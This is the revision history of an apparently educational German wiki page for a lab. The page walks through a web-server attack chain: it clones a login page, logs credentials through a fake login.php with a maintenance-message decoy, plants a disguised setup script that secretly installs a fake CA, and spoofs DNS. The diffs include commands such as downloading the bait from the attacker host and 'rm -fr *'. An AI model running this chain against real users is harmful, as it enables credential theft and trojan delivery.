Komplette Angriffskette Web Server - Versionsgeschichte

Thomas.will: /* Opfer lädt den Köder herunter */

2026-08-18T10:28:45Z

Opfer lädt den Köder herunter

Thomas.will: /* Selbsttest auf Kali */

2026-08-18T09:57:20Z

Selbsttest auf Kali

Thomas.will: /* Selbsttest auf Kali */

2026-08-18T09:57:03Z

Selbsttest auf Kali

Thomas.will: /* Selbsttest auf Kali */

2026-08-18T09:46:42Z

Selbsttest auf Kali

Thomas.will: /* Webseite spiegeln */

2026-08-18T09:38:55Z

Webseite spiegeln

Thomas.will: /* Opfer geht auf die Webseite */

2026-08-17T20:01:16Z

Opfer geht auf die Webseite

Thomas.will: /* Opfer stellt das Netzwerk nach Vorgaben ein */

2026-08-17T20:00:56Z

Opfer stellt das Netzwerk nach Vorgaben ein

Thomas.will: /* Spätere Netzkonfiguration */

2026-08-17T20:00:23Z

Spätere Netzkonfiguration

Thomas.will: /* Der Köder: getarntes Setup-Skript */

2026-08-17T19:59:57Z

Der Köder: getarntes Setup-Skript

Thomas.will: /* Wir bauen einen Loot-Grabber */

2026-08-17T19:58:24Z

Wir bauen einen Loot-Grabber

@@ Zeile 325: / Zeile 325: @@
 *sudo -i
 *cd /usr/local/sbin
-*wget http://10.0.10.101:8000/rocky-setup.sh
+*curl http://10.0.10.101:8000/rocky-setup.sh -o rocky-setup.sh
 *chmod +x rocky-setup.sh

@@ Zeile 153: / Zeile 153: @@
 *cp ~/ca/$CA.crt /tmp
 *cd /tmp
-*for db in /home/kit/.mozilla/firefox/*.default*; do
+ for db in /home/kit/.mozilla/firefox/*.default*; do
    certutil -A -n "Fake LE Root" -t "TC,," -i "$CA.crt" -d sql:"$db"
   done

@@ Zeile 150: / Zeile 150: @@
 ;Hosts für die Simulation vorbereiten
 *echo 127.0.0.1 $FQDN | sudo tee -a /etc/hosts
-;Fake-CA in die Firefox-Zertifikatsdatenbank eintragen (Firefox vorher schließen)
+;CA Cert für den Benutzer kit importieren
-*for p in ~/.mozilla/firefox/*.default-esr; do certutil -A -n "Fake LE Root" -t "TC,," -i $CA.crt -d sql:"$p"; done
+*cp ~/ca/$CA.crt /tmp
-;Nach dem Test wieder aufräumen
+*cd /tmp
-*sudo sed -i '/zweebrigge/d' /etc/hosts
+*for db in /home/kit/.mozilla/firefox/*.default*; do
 = DNS-Eintrag für den Spoof anlegen =

@@ Zeile 146: / Zeile 146: @@
 Bevor wir das Opfer angreifen, prüfen wir den Aufbau lokal. Der Hosts-Eintrag lässt ''www.zweebrigge.de'' auf dem Angreifer selbst auf localhost zeigen, sodass wir den Klon im eigenen Browser aufrufen können. Damit dabei keine Warnung erscheint, muss die Fake-CA in den Trust Store des Testbrowsers. '''Achtung:''' Firefox auf Kali nutzt nicht den System-Store, sondern seine eigene Zertifikatsdatenbank — die CA muss dort per certutil eingetragen werden. Nach dem Test den Hosts-Eintrag wieder entfernen.
+;Libnss3 Tools installieren
 ;Hosts für die Simulation vorbereiten
 *echo 127.0.0.1 $FQDN | sudo tee -a /etc/hosts

@@ Zeile 66: / Zeile 66: @@
 Mit HTTrack ziehen wir eine 1:1-Kopie der echten Login-Seite auf unseren Webserver. Der Klon sieht für das Opfer identisch aus. HTTrack legt den Klon in einem Unterordner mit dem Hostnamen an, dessen Inhalt wir eine Ebene hochziehen, damit die Seite direkt im DocumentRoot liegt.
+*apt install -y httrack
 *cd /var/www/html
 ;Wir sind Hacker die Rechte sind unrelevant ;-) (nur im Wegwerf-Labor!)
 *chmod 777 .
-*rm -r *
+*rm -fr *
 *httrack https://www.zweebrigge.de
 *mv www.zweebrigge.de/* .

@@ Zeile 332: / Zeile 332: @@
 = Opfer geht auf die Webseite =
-Das Opfer ruft die Seite auf. Dank DNS-Spoof landet es auf unserem Klon, dank Zertifikat und untergeschobener CA ohne jede Warnung — grünes Schloss inklusive. Es tippt seine Zugangsdaten ein und sieht die Wartungsmeldung.
+Das Opfer ruft die Seite auf. Dank DNS-Spoof landet es auf unserem Klon, dank Zertifikat und untergeschobener CA ohne jede Warnung - grünes Schloss inklusive. Es tippt seine Zugangsdaten ein und sieht die Wartungsmeldung.
 *https://www.zweebrigge.de

@@ Zeile 326: / Zeile 326: @@
 = Opfer stellt das Netzwerk nach Vorgaben ein =
-Das Opfer ruft den Köder mit den vorgegebenen Netzwerkparametern auf. Es sieht nur, dass seine IP gesetzt wird — die CA-Installation im Hintergrund bemerkt es nicht.
+Das Opfer ruft den Köder mit den vorgegebenen Netzwerkparametern auf. Es sieht nur, dass seine IP gesetzt wird - die CA-Installation im Hintergrund bemerkt es nicht.
 *./rocky-setup.sh -f rocky-desktop.secure.local -a 10.0.10.77/24 -g 10.0.10.1 -n 10.0.10.103

@@ Zeile 297: / Zeile 297: @@
 = Spätere Netzkonfiguration =
-Diese Werte gibt das Opfer beim Aufruf des Köders an — vorgeblich zur Netzeinrichtung.
+Diese Werte gibt das Opfer beim Aufruf des Köders an - vorgeblich zur Netzeinrichtung.
 {| class="wikitable" style="background-color: #f2f2f2;"

@@ Zeile 170: / Zeile 170: @@
 = Der Köder: getarntes Setup-Skript =
-Damit das Opfer unsere CA überhaupt vertraut, müssen wir sie auf dessen System bringen. Das erledigt ein Köder — ein Skript, das sich als harmloses Netzwerk-Konfigurationswerkzeug ausgibt. Das Opfer soll damit „nur seine IP einstellen". Tatsächlich installiert das Skript im Hintergrund unsere Fake-CA in den System-Trust-Store. '''Der Clou:''' Die CA-Installation läuft ganz am Anfang, noch vor jeder Parameterprüfung — selbst wenn das Opfer das Skript „falsch" oder ohne Argumente aufruft und es scheinbar mit einer Fehlermeldung abbricht, ist die CA zu diesem Zeitpunkt längst eingespielt. Auf dem grafischen Rocky-Client greift Firefox über p11-kit automatisch auf den System-Store zu, ein separater Browser-Schritt entfällt.
+Damit das Opfer unsere CA überhaupt vertraut, müssen wir sie auf dessen System bringen. Das erledigt ein Köder - ein Skript, das sich als harmloses Netzwerk-Konfigurationswerkzeug ausgibt. Das Opfer soll damit „nur seine IP einstellen". Tatsächlich installiert das Skript im Hintergrund unsere Fake-CA in den System-Trust-Store. '''Der Clou:''' Die CA-Installation läuft ganz am Anfang, noch vor jeder Parameterprüfung - selbst wenn das Opfer das Skript „falsch" oder ohne Argumente aufruft und es scheinbar mit einer Fehlermeldung abbricht, ist die CA zu diesem Zeitpunkt längst eingespielt. Auf dem grafischen Rocky-Client greift Firefox über p11-kit automatisch auf den System-Store zu, ein separater Browser-Schritt entfällt.
 *cat rocky-setup.sh

@@ Zeile 77: / Zeile 77: @@
 = Wir bauen einen Loot-Grabber =
-Der Klon ist statisch — er verarbeitet keine Anmeldungen. Das übernimmt unser eigenes ''login.php'', das genau dorthin zeigt, wohin das Formular postet. Es schreibt die eingetippten Zugangsdaten mit Zeitstempel und Opfer-IP in eine Logdatei und zeigt dem Opfer danach eine plausible Wartungsmeldung. So denkt das Opfer an eine kurze Störung, versucht es später auf der echten Seite erneut — dort klappt es, und der Verdacht verpufft. Die Zugangsdaten sind da längst bei uns.
+Der Klon ist statisch - er verarbeitet keine Anmeldungen. Das übernimmt unser eigenes ''login.php'', das genau dorthin zeigt, wohin das Formular postet. Es schreibt die eingetippten Zugangsdaten mit Zeitstempel und Opfer-IP in eine Logdatei und zeigt dem Opfer danach eine plausible Wartungsmeldung. So denkt das Opfer an eine kurze Störung, versucht es später auf der echten Seite erneut - dort klappt es, und der Verdacht verpufft. Die Zugangsdaten sind da längst bei uns.
 *vi login.php